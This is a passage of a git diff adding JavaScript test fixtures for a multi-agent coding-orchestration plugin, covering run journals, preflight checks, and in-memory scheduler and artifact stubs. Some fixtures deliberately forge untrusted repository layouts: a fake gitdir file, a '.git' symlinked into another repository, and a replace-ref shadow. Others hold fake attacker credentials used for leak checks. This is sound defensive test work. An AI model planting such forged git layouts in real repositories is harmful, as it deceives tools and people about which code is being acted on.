"cursorDomain": "codex-co-engineer.run-journal-cursor.v1", + "genesisPrev": "codex-co-engineer.run-journal.genesis.v1", + "lockSchema": "codex-co-engineer.run-journal-lock.v1", + "runOpenedHash": "sha256:461c5d6174792bddff12c3daa826e34e4c59f6855c98a352045abe831feeedd8", + "runOpenedLine": "{\"data\":{},\"hash\":\"sha256:461c5d6174792bddff12c3daa826e34e4c59f6855c98a352045abe831feeedd8\",\"kind\":\"run_opened\",\"prev\":\"codex-co-engineer.run-journal.genesis.v1\",\"schema\":\"codex-co-engineer.run-journal-entry.v1\",\"seq\":1}", + "fingerprintSample": { + "runId": "run-journal-bind", + "recordDigest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "fingerprint": "74afdc6e3bbfba9f083b121e356a7bf76cfc3f21c420f82c39e949fe49732a7d" + } +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs new file mode 100644 index 0000000..a2d3123 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs @@ -0,0 +1,42 @@ +// Cross-process journal appender used by r1-run-journal concurrency tests. +// Usage: +// node r1-run-journal-worker.mjs +// Appends `count` child_progress events with distinct notes and prints one +// JSON result line: { ok, appended, created, deduped, code? }. + +import { openRunStore } from '../../mcp/v3/run-store.mjs'; +import { openRunJournal } from '../../mcp/v3/run-journal.mjs'; + +const [storeRoot, journalRoot, runId, rawCount, prefix] = process.argv.slice(2); +const count = Number.parseInt(rawCount, 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const store = await openRunStore(storeRoot); + const journal = await openRunJournal({ root: journalRoot, store, run_id: runId }); + let appended = 0; + let created = 0; + let deduped = 0; + for (let index = 0; index < count; index += 1) { + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `${prefix}.${index}` }, + dedupe_key: `${prefix}/${index}`, + }); + appended += 1; + if (result.created) created += 1; + if (result.deduped) deduped += 1; + } + emit({ ok: true, appended, created, deduped }); +} catch (error) { + emit({ + ok: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + message: String(error?.message ?? error), + }); + process.exit(1); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs new file mode 100644 index 0000000..6fbdd0c --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-orchestration-fixtures.mjs @@ -0,0 +1,153 @@ +// Neutral fixtures for RunOrchestrationV1 tests: disposable repositories, +// closed hostile environments, recording dispatchers, and side-effect +// snapshots. Tests own the assertions; nothing here ranks, defaults, or +// substitutes a provider. + +import { createHash } from 'node:crypto'; +import { lstat, mkdir, readdir, readFile, rm, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { DENIED_OPERATIONS } from '../../mcp/v3/git-authority.mjs'; +import { handoffPathFromProcessIdentity } from '../../mcp/v3/credential-boundary.mjs'; +import { + createLinearRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + preflightManifest, + runFixtureGitIn, + twoLaneManifest, + writerLane, +} from './r1-run-preflight-fixtures.mjs'; +import { HOSTILE_ENV, withTempDir } from './r1-credential-boundary-fixtures.mjs'; + +export { + createLinearRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + preflightManifest, + runFixtureGitIn, + twoLaneManifest, + writerLane, + HOSTILE_ENV, + withTempDir, + DENIED_OPERATIONS, +}; + +export const RUN_ID = 'orchestration-under-test'; +export const ASSIGNMENT_ID_A = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; + +export const SUFFICIENT_HOST = hostFacts(); + +export function orchestrationManifest(assignments, overrides = {}) { + const manifest = preflightManifest(assignments, overrides); + manifest.run_id = overrides.runId ?? RUN_ID; + return manifest; +} + +export function twoLaneOrchestrationManifest(overrides = {}) { + return orchestrationManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], overrides); +} + +export function mixedProviderManifest(overrides = {}) { + const baseSha = overrides.baseSha ?? '0123456789abcdef0123456789abcdef01234567'; + return orchestrationManifest([ + writerLane('lane-grok', ['src/grok/**'], { + execution: { provider: 'grok', model: 'grok-4' }, + }), + writerLane('lane-local', ['src/local/**'], { + execution: { provider: 'cursor-local', model: 'composer-1' }, + }), + writerLane('lane-cloud', ['src/cloud/**'], { + execution: { provider: 'cursor-cloud', model: 'claude-sonnet-4-5' }, + starting_ref: baseSha, + }), + writerLane('lane-muse', ['src/muse/**'], { + execution: { provider: 'dsh', model: 'muse-spark-1.2-contributor' }, + }), + writerLane('lane-ox', ['src/ox/**'], { + execution: { provider: 'dsh', model: 'stealth/ox-alpha' }, + }), + ], overrides); +} + +export function createRecordingDispatcher({ failStopFor } = {}) { + const calls = []; + const stopped = []; + const failStop = failStopFor == null + ? null + : new Set(Array.isArray(failStopFor) ? failStopFor : [failStopFor]); + const dispatch = async (plan) => { + calls.push({ + assignment_id: plan.assignment_id, + provider: plan.provider, + model: plan.model, + identity: plan.identity, + argv: [...plan.argv], + envKeys: Object.keys(plan.env).sort(), + env: plan.env, + }); + return { + identity: plan.identity, + stop: async () => { + stopped.push(plan.identity); + if (failStop && failStop.has(plan.assignment_id)) { + throw new Error('injected dispatcher stop failure'); + } + }, + }; + }; + return { dispatch, calls, stopped }; +} + +export async function injectHandoffUnlinkFailure(identity) { + const filePath = handoffPathFromProcessIdentity(identity); + const directory = path.dirname(filePath); + await unlink(filePath); + await mkdir(filePath); + return { filePath, directory }; +} + +export async function restoreInjectedHandoffUnlinkFailure(filePath) { + await rm(filePath, { recursive: true, force: true }); +} + +export async function snapshotState(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) await walk(path.join(relative, child)); + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) digest.update(await readFile(absolute)); + else digest.update(String(metadata.size)); + entries.push({ + p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex'), + }); + } + await walk(''); + const refs = await runFixtureGitIn(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +export function receiptContainsSecret(receipt, secrets) { + const serialized = JSON.stringify(receipt); + return secrets.some((secret) => typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)); +} + +export { handoffPathFromProcessIdentity }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs new file mode 100644 index 0000000..2db6ad4 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs @@ -0,0 +1,280 @@ +// Neutral fixtures for RunPreflightV1 tests: disposable repositories built +// with argv git only, run manifests, injected host facts, and a recording +// spawn that delegates to the real git binary while capturing every argv. +// Tests own the assertions; nothing here ranks, defaults, or substitutes. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../../mcp/v3/git-identity.mjs'; +import { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD } from '../../mcp/v3/run-preflight.mjs'; + +export { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }; + +export const RUN_ID = 'preflight-under-test'; +export const ASSIGNMENT_ID_A = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; + +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P26 Fixture', + GIT_AUTHOR_EMAIL: 'p26@example.test', + GIT_COMMITTER_NAME: 'P26 Fixture', + GIT_COMMITTER_EMAIL: 'p26@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +function runFixtureGit(cwd, args) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd, + env: { ...FIXTURE_ENV }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function initRepo(root) { + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commitAll(root, message, fileName = 'file.txt') { + await writeFile(path.join(root, fileName), `${message}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', message]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +function wrapRepo(root, fields) { + return { root, ...fields, cleanup: () => rm(root, { recursive: true, force: true }) }; +} + +export async function createLinearRepo(prefix = 'p26-linear-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await commitAll(root, 'head commit', 'head.txt'); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + return wrapRepo(root, { baseSha, headSha }); +} + +export async function createDetachedHeadRepo(prefix = 'p26-detached-') { + const repo = await createLinearRepo(prefix); + await runFixtureGit(repo.root, ['checkout', '--detach', repo.baseSha]); + return repo; +} + +export async function createTagObjectRepo(prefix = 'p26-tagobj-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + const treeSha = await runFixtureGit(root, ['rev-parse', 'HEAD^{tree}']); + const blobSha = await runFixtureGit(root, ['rev-parse', 'HEAD:base.txt']); + await runFixtureGit(root, ['tag', '-a', '-m', 'release tag', 'v1', baseSha]); + const tagSha = await runFixtureGit(root, ['rev-parse', 'v1']); + return wrapRepo(root, { baseSha, headSha: baseSha, treeSha, blobSha, tagSha }); +} + +export async function createReplaceRefRepo(prefix = 'p26-replace-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + const baseSha = await commitAll(root, 'base commit', 'base.txt'); + await commitAll(root, 'second commit', 'second.txt'); + const replacementSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + // A raw ref write installs the shadow without plumbing validation, so the + // fixture does not depend on `git replace` type rules. + await runFixtureGit(root, ['update-ref', `refs/replace/${baseSha}`, replacementSha]); + return wrapRepo(root, { baseSha, headSha: replacementSha }); +} + +export async function createBareRepo(prefix = 'p26-bare-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--bare', '--initial-branch=main']); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createEmptyDirectory(prefix = 'p26-empty-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await rm(root, { recursive: true, force: true }); + await mkdir(root, { recursive: true }); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createSymlinkAliasRepo(prefix = 'p26-symlink-') { + const repo = await createLinearRepo(prefix); + const parent = path.dirname(repo.root); + const alias = path.join(parent, `${path.basename(repo.root)}-alias`); + await symlink(repo.root, alias, 'dir'); + return { + ...repo, + cleanup: () => { + rm(alias, { force: true }).catch(() => {}); + return repo.cleanup(); + }, + }; +} + +export async function createLinkedWorktreeRepo(prefix = 'p26-worktree-') { + const repo = await createLinearRepo(prefix); + const worktreePath = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-wt`); + await runFixtureGit(repo.root, ['worktree', 'add', worktreePath, repo.headSha]); + return { + ...repo, + worktreePath, + cleanup: () => rm(worktreePath, { recursive: true, force: true }).then(() => repo.cleanup()), + }; +} + +export async function forgeGitDirFileRepo(prefix = 'p26-forged-') { + const repo = await createLinearRepo(prefix); + const bogusTarget = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-bogus-gitdir`); + await mkdir(bogusTarget, { recursive: true }); + await rm(path.join(repo.root, '.git'), { recursive: true, force: true }); + await writeFile(path.join(repo.root, '.git'), `gitdir: ${bogusTarget}\n`, 'utf8'); + return { ...repo, bogusTarget }; +} + +// Two independent repositories; one worktree root's `.git` entry is replaced +// with a symlink at the other repository's real git directory, so git +// observations succeed while the layout is untrusted. +export async function createSymlinkedGitDirRepo(prefix = 'p26-symgit-') { + const victim = await createLinearRepo(`${prefix}victim-`); + const donorRoot = path.join(path.dirname(victim.root), `${path.basename(victim.root)}-donor`); + await initRepo(donorRoot); + await rm(path.join(victim.root, '.git'), { recursive: true, force: true }); + await symlink(path.join(donorRoot, '.git'), path.join(victim.root, '.git'), 'dir'); + return { + root: victim.root, + baseSha: victim.baseSha, + headSha: victim.headSha, + cleanup: () => rm(donorRoot, { recursive: true, force: true }).then(() => victim.cleanup()), + }; +} + +const POLICY_TEMPLATE = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function writerLane(id, scopes, overrides = {}) { + return { + assignment_id: id, + role: 'implement', + access: 'writer', + prompt: `Implement lane ${id}.`, + write_scope: scopes, + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + execution: { provider: 'grok', model: 'grok-4' }, + ...overrides, + }; +} + +export function preflightManifest(assignments, overrides = {}) { + const count = assignments.length; + return { + schema: 'codex-co-engineer.run.v1', + run_id: RUN_ID, + repository: { + path: overrides.repositoryPath ?? '/run-fixtures/repository', + base_sha: overrides.baseSha ?? '0123456789abcdef0123456789abcdef01234567', + }, + objective: 'Validate the run before any launch surface runs.', + assignments, + policy: { ...POLICY_TEMPLATE, ...(overrides.policy ?? {}) }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function twoLaneManifest(overrides = {}) { + return preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], overrides); +} + +export function laneManifestsForCount(count, overrides = {}) { + const assignments = []; + for (let index = 0; index < count; index += 1) { + assignments.push(writerLane(`lane-${String(index).padStart(2, '0')}`, [`src/area-${index}/**`])); + } + return preflightManifest(assignments, overrides); +} + +export function hostFacts(overrides = {}) { + return { + cpu_parallelism: 8, + total_ram_bytes: 34_359_738_368, + available_ram_bytes: 8 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + ...overrides, + }; +} + +export function createRecordingSpawn() { + const records = []; + let failNextStart = false; + const spawnFn = (file, args, options) => { + const envKeys = options && options.env ? Object.keys(options.env).sort() : []; + records.push({ file, args: [...args], envKeys, cwd: options?.cwd }); + if (failNextStart) { + failNextStart = false; + throw new Error('injected spawn failure'); + } + return nodeSpawn(file, args, options); + }; + return { + spawn: spawnFn, + records, + files: () => records.map((record) => record.file), + commands: () => records.map((record) => record.args.filter( + (arg) => !arg.startsWith('-') && !arg.includes('=') && arg !== '/usr/bin/git', + )), + failNext() { + failNextStart = true; + }, + }; +} + +// Read-only observation helper for side-effect proofs: runs argv git inside +// a fixture repository without touching product modules. +export async function runFixtureGitIn(root, args) { + return runFixtureGit(root, args); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs new file mode 100644 index 0000000..d0935e7 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs @@ -0,0 +1,578 @@ +// Isolated P33 run-runtime fixtures. Tests own the assertions. +// Scoped stubs implement the frozen injected seams without importing +// scheduler, artifact-bridge, worker, process-boundary, or supervisor. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { createRunRuntime } from '../../mcp/v3/run-runtime.mjs'; +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { BASE_SHA } from './r1-protected-identity-fixtures.mjs'; +import { + ASSIGNMENT_ID, + RUN_ID, + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './r1-run-store-fixtures.mjs'; + +export { ASSIGNMENT_ID, BASE_SHA, RUN_ID, makeStoreRoot, makeSubmission }; + +export const TASK_ID = 'task-writer-0'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; +export const NOW = '2026-08-25T22:00:00Z'; + +export async function makePrivateRoot(prefix = 'r1-p33-runtime-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeAssignment({ + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + role = 'implement', + access = 'writer', + provider = 'grok', + model = 'grok-4', + writeScope = ['src/**'], + required = true, + startingRef = null, +} = {}) { + const assignment = { + assignment_id: assignmentId, + task_id: taskId, + role, + access, + provider, + model, + write_scope: writeScope, + required, + }; + if (startingRef !== null) assignment.starting_ref = startingRef; + return assignment; +} + +export function makeVerifier(assignmentId = 'review-lane') { + return makeAssignment({ + assignmentId, + taskId: `task-${assignmentId}`, + role: 'review', + access: 'read_only', + writeScope: [], + required: false, + }); +} + +export function makeSubmitRequest({ + runId = RUN_ID, + assignments = [makeAssignment()], + submission = makeSubmission({ runId, assignmentId: assignments[0].assignment_id }), +} = {}) { + return { + run_id: runId, + request_idempotency_key: submission.request_idempotency_key, + identity: submission.identity, + git: submission.git, + provenance: submission.provenance, + telemetry: submission.telemetry, + assignments, + }; +} + +function failStub(code, field, message) { + throw new RunContractV1Error(code, field, message); +} + +export function createMemoryRunStore() { + const byId = new Map(); + const byKey = new Map(); + return { + async submit(input) { + const existing = byId.get(input.run_id); + if (existing) { + if (existing.request_idempotency_key !== input.request_idempotency_key + || existing.identity?.digest !== input.identity?.digest) { + failStub('run_identity_conflict', 'run_id', 'Run id already binds a different body.'); + } + return { record: existing, created: false }; + } + if (byKey.has(input.request_idempotency_key)) { + failStub('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + const record = { + schema: 'codex-co-engineer.run-store-record.v1', + run_id: input.run_id, + request_idempotency_key: input.request_idempotency_key, + identity: input.identity, + git: input.git, + provenance: input.provenance, + telemetry: input.telemetry, + canonical_digest: input.request_idempotency_key, + }; + byId.set(input.run_id, record); + byKey.set(input.request_idempotency_key, input.run_id); + return { record, created: true }; + }, + async getByRunId(runId) { + const record = byId.get(runId); + if (!record) failStub('run_store_not_found', 'run_id', 'No run record exists.'); + return record; + }, + async getByIdempotencyKey(key) { + const runId = byKey.get(key); + if (!runId) failStub('run_store_not_found', 'request_idempotency_key', 'No run record exists.'); + return byId.get(runId); + }, + _byId: byId, + }; +} + +function emptyJournalState() { + return { + schema: 'codex-co-engineer.run-journal-state.v1', + revision: 0, + head_hash: 'codex-co-engineer.run-journal.genesis.v1', + run_opened: false, + children: [], + child_count: 0, + event_counts: { + run_opened: 0, child_started: 0, child_progress: 0, child_artifact: 0, + child_terminal: 0, run_terminal: 0, + }, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; +} + +function createJournalHandle() { + const events = []; + const state = emptyJournalState(); + return { + events, + async currentState() { + return { ...state, children: state.children.map((child) => ({ ...child })) }; + }, + async append(event) { + const kind = event.kind; + const data = event.data ?? {}; + if (kind === 'run_opened') state.run_opened = true; + if (kind === 'child_started') { + if (!state.children.some((child) => child.assignment_id === data.assignment_id)) { + state.children.push({ assignment_id: data.assignment_id, outcome: null }); + state.child_count = state.children.length; + } + } + if (kind === 'child_progress') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.note = data.note; + } + if (kind === 'child_terminal') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.outcome = data.outcome; + } + if (kind === 'run_terminal') { + state.terminal = true; + state.run_outcome = data.outcome; + } + state.event_counts[kind] = (state.event_counts[kind] ?? 0) + 1; + state.revision += 1; + state.head_hash = `sha256:${String(state.revision).padStart(64, 'a')}`; + events.push({ ...event, seq: state.revision }); + return { seq: state.revision, state: { ...state } }; + }, + async cursorAfter(seq) { + return { + seq, + head_hash: seq === 0 + ? 'codex-co-engineer.run-journal.genesis.v1' + : `sha256:${String(seq).padStart(64, 'a')}`, + cursor: `cursor:${seq}`, + }; + }, + async readPage() { + return { events: [...events], next_cursor: null }; + }, + }; +} + +export function createMemoryRunJournal() { + const handles = new Map(); + function obtain(runId, create) { + if (handles.has(runId)) { + if (create) failStub('run_journal_already_exists', 'run_id', 'Journal exists.'); + return handles.get(runId); + } + if (!create) failStub('run_journal_not_found', 'run_id', 'Journal missing.'); + const handle = createJournalHandle(); + handles.set(runId, handle); + return handle; + } + return { + async create(options) { return obtain(options.run_id, true); }, + async open(options) { return obtain(options.run_id, false); }, + async createAggregate(options) { return obtain(options.run_id, true); }, + async openAggregate(options) { return obtain(options.run_id, false); }, + _handles: handles, + }; +} + +export function createMemoryAggregateAnchor({ + phaseByRun = new Map(), +} = {}) { + return { + async getCoordination(runId) { + if (!phaseByRun.has(runId)) { + failStub('aggregate_run_not_found', 'run_id', 'No aggregate run exists.'); + } + return { + schema: 'codex-co-engineer.aggregate-run-coordination.v1', + run_id: runId, + phase: phaseByRun.get(runId), + revision: phaseByRun.get(runId) === 'resolution_ready' ? 2 : 0, + }; + }, + phaseByRun, + }; +} + +export function createMemoryAttentionBatch() { + const batches = new Map(); + const calls = { latch: 0, reply: 0, get: 0, cancelled: [] }; + return { + calls, + async latch(options) { + calls.latch += 1; + const items = options.items ?? []; + for (const item of items) { + if (item.reply_capability === 'unsupported' && typeof options.cancel === 'function') { + await options.cancel({ assignment_id: item.assignment_id }); + calls.cancelled.push(item.assignment_id); + } + } + const record = { + schema: 'codex-co-engineer.attention-batch.v1', + run_id: options.run_id, + batch_id: `att-${options.run_id}`, + revision: 1, + status: 'open', + source: options.source, + items, + complete_candidate_blocked: items.some((item) => item.required !== false + && item.reply_capability === 'unsupported'), + wake: false, + }; + batches.set(options.run_id, record); + return record; + }, + async reply(options) { + calls.reply += 1; + const record = batches.get(options.run_id); + if (!record) failStub('attention_batch_not_found', 'run_id', 'No attention batch.'); + record.status = 'resolved'; + record.reply = options.reply; + return record; + }, + async get(runId) { + calls.get += 1; + return batches.get(runId) ?? null; + }, + }; +} + +function laneFromAssignment(assignment, extra = {}) { + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: extra.attention ?? null, + cancel_confirmed: extra.cancel_confirmed ?? null, + cursor: extra.cursor ?? null, + dispatched: extra.dispatched !== false, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required: assignment.required !== false, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: extra.status ?? 'dispatched', + task_id: assignment.task_id, + unresolved: extra.unresolved ?? null, + write_scope: assignment.write_scope, + }; +} + +export function createMemoryScheduler({ + inspectStatusByAssignment = new Map(), + cancelConfirmed = true, + delegateErrorFor = new Set(), +} = {}) { + const runs = new Map(); + const calls = { + submit: 0, + resume: 0, + cancel: 0, + delegate: [], + }; + return { + calls, + inspectStatusByAssignment, + async submitAssignments(request) { + calls.submit += 1; + const existing = runs.get(request.run_id); + if (existing) { + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'idempotent', + run_id: request.run_id, + base_sha: existing.base_sha, + created: false, + lanes: existing.lanes, + complete_candidate_blocked: existing.lanes.some((lane) => lane.required + && lane.status === 'unresolved'), + wake: false, + remote_mutated: false, + }; + } + const lanes = []; + for (const assignment of request.assignments) { + calls.delegate.push(assignment.assignment_id); + if (delegateErrorFor.has(assignment.assignment_id)) { + lanes.push(laneFromAssignment(assignment, { + dispatched: false, + status: 'unresolved', + unresolved: { code: 'dispatch_failed' }, + })); + } else { + lanes.push(laneFromAssignment(assignment)); + } + } + runs.set(request.run_id, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + lanes, + }); + const failed = lanes.some((lane) => lane.status === 'unresolved'); + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: failed ? 'partial' : 'dispatched', + run_id: request.run_id, + base_sha: request.base_sha, + created: true, + lanes, + complete_candidate_blocked: lanes.some((lane) => lane.required + && lane.status === 'unresolved'), + wake: false, + remote_mutated: false, + }; + }, + async resumeAssignments(request) { + calls.resume += 1; + const record = runs.get(request.run_id); + if (!record) failStub('scheduler_run_unknown', 'run_id', 'Scheduler run unknown.'); + for (const lane of record.lanes) { + if (inspectStatusByAssignment.has(lane.assignment_id)) { + lane.status = inspectStatusByAssignment.get(lane.assignment_id); + } + const cursor = (request.cursors ?? []).find((row) => row.assignment_id === lane.assignment_id); + if (cursor) { + if (cursor.task_id !== lane.task_id) { + failStub('cursor_identity_mismatch', 'cursors', 'Cursor identity mismatch.'); + } + lane.cursor = cursor; + } + } + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'inspected', + run_id: request.run_id, + base_sha: record.base_sha, + created: false, + lanes: record.lanes, + complete_candidate_blocked: record.lanes.some((lane) => lane.required + && (lane.status === 'unresolved' || lane.status === 'failed')), + wake: false, + remote_mutated: false, + }; + }, + async cancelAssignments(request) { + calls.cancel += 1; + const record = runs.get(request.run_id); + if (!record) failStub('scheduler_run_unknown', 'run_id', 'Scheduler run unknown.'); + for (const assignmentId of request.assignment_ids) { + const lane = record.lanes.find((row) => row.assignment_id === assignmentId); + if (!lane) failStub('runtime_assignment_unknown', 'assignment_ids', 'Unknown assignment.'); + lane.status = 'cancelled'; + lane.cancel_confirmed = cancelConfirmed; + if (!cancelConfirmed) { + lane.unresolved = { code: 'safe_cancel_unconfirmed' }; + } + } + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'cancelled', + run_id: request.run_id, + base_sha: record.base_sha, + created: false, + lanes: record.lanes, + complete_candidate_blocked: false, + wake: false, + remote_mutated: false, + }; + }, + _runs: runs, + }; +} + +export function createMemoryArtifactBridge() { + const artifacts = new Map(); + const calls = { capture: 0, project: 0, cleanup: [] }; + const keyOf = (runId, assignmentId) => `${runId}:${assignmentId}`; + return { + calls, + async captureAssignmentArtifacts(input) { + calls.capture += 1; + artifacts.set(keyOf(input.run_id, input.assignment_id), { + run_id: input.run_id, + assignment_id: input.assignment_id, + relative_path: input.relative_path, + }); + return { + schema: 'codex-co-engineer.run-artifact-bridge-capture.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + created: true, + }; + }, + async projectAssignmentArtifacts(input) { + calls.project += 1; + const record = artifacts.get(keyOf(input.run_id, input.assignment_id)); + return { + schema: 'codex-co-engineer.run-artifact-bridge-projection.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + artifacts: record ? [record] : [], + }; + }, + async cleanupRunArtifacts(input) { + calls.cleanup.push(input); + if (input.proof?.run_id !== input.run_id) { + failStub('artifact_bridge_cleanup_unproven', 'proof', 'Proof run id mismatch.'); + } + let removed = 0; + for (const [key, record] of [...artifacts.entries()]) { + if (record.run_id !== input.run_id) continue; + if (input.proof.assignment_ids + && !input.proof.assignment_ids.includes(record.assignment_id)) { + continue; + } + artifacts.delete(key); + removed += 1; + } + return { + schema: 'codex-co-engineer.run-artifact-bridge-cleanup.v1', + run_id: input.run_id, + cleaned: true, + removed, + remaining: [...artifacts.values()].filter((row) => row.run_id === input.run_id).length, + unresolved: [], + }; + }, + }; +} + +export function createLifecycleFns({ + final = true, + cleanupStatus = 'normal', + reason = null, + settleCalls = [], + cleanupCalls = [], + failSettle = false, + leakSecret = false, +} = {}) { + const settleLocalTaskLifecycle = async (root, task, runtime, dependencies) => { + settleCalls.push({ root, task, runtime, dependencies }); + if (failSettle) throw new Error(HOSTILE_SECRET); + const record = { + version: 1, + task_id: task.id, + stored_status: 'completed', + projected_status: final ? 'succeeded' : 'transport_lost', + public_state: final ? 'succeeded' : 'transport_lost', + final, + cleanup: { status: cleanupStatus, code: reason }, + boundary: { status: final ? 'inactive_empty' : 'active' }, + lock: { status: final ? 'unlocked' : 'active' }, + reason, + }; + if (leakSecret) record.secret = HOSTILE_SECRET; + return record; + }; + const cleanupLocalTaskLifecycle = async (root, task, runtime, dependencies) => { + cleanupCalls.push({ root, task, runtime, dependencies }); + return settleLocalTaskLifecycle(root, task, runtime, dependencies); + }; + return { + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + settleCalls, + cleanupCalls, + }; +} + +export 